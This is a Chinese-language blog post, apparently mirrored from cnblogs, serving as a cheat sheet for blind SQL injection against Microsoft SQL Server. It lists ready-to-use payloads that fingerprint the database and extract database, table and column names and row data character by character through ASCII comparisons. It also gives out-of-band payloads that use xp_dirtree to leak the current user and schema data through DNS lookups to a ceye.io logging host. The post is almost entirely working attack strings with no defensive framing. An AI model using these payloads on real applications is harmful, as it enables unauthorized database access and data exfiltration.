zoukankan      html  css  js  c++  java
  • MSSQL的简单盲注

    方式一:遍历ascii码的方式

    一、判断数据库类型

    and (select count(*) from sysobjects)>0

    二、获取数据库

    and ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)) >= 109

    # 第一个

    and ascii(substring((select top 1 name from master.dbo.sysdatabases where name

    not in ('第一个数据库名', '第二个数据库名',,,,,,’第N-1个数据库名’)),N,1)) >= 56

    # 第N个

    通过N 判断数据库数量

    三、获取表

    and ascii(substring((select top 1 name from sysobjects where xtype = 0x75 ),1,1))

    >= 80 #第一个

    and ascii(substring((select top 1 name from sysobjects where xtype = 0x75 and

    name not in ('第一个表名','第二个表名',,,,,,'第N-1个表名')),N,1)) >= 9 #第N个

    通过N 判断表数量

    四、获取列

    and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='表名')),N,1)) >= 65 #第一列

    and ascii(substring((select top 1 name from syscolumns where id=(select id from sysobjects where xtype=0x75 and name='表名') and name

    not in ('第一个列名')),N,1)) >= 65 #第N列

    通过N 判断列数量

    五、获取数据

    and ascii(substring((select top 1 列名 from 表名),N,1)) >= 65

    方式二:基于DNSlog的盲注方式

    示例:

    一、 获取当前用户

    id=287;declare @a char(128);set @a='\'%2buser%2b'.***.ceye.ioabc';exec master..xp_dirtree @a;--

    二、 获取库名

    id=287;declare @a char(128);set @a='\'%2b(select top 1 name from master.dbo.sysdatabases)%2b'.***.ceye.ioabc';exec master..xp_dirtree @a;--

    三、 获取表名

    id=287;declare @a char(128);set @a='\'%2b(select top 1 name from 库名.dbo.sysobjects where xtype=0x75)%2b'.***.ceye.ioabc';exec master..xp_dirtree @a;--

    四、 获取列名

    id=287;declare @a char(128);set @a='\'%2b(select top 1 列名 from 表名)%2b'.***.ceye.ioab';exec master..xp_dirtree @a;--

     参考链接:https://www.imzzj.com/post-607.html

  • 相关阅读:
    python编码基础知识
    python编码问题
    python中文乱码
    mysql sql灵活运用
    MySQL函数讲解(MySQL函数大全)
    python:UnicodeDecodeError: ‘ascii’ codec can’t decode byte 0xef in position xxx: ordinal not in range(128)
    sql replace into 与 insert into
    微信布局
    盘点六大在中国复制失败的O2O案例
    字符串问题(一)
  • 原文地址:https://www.cnblogs.com/zhaijiahui/p/9714054.html
Copyright © 2011-2022 走看看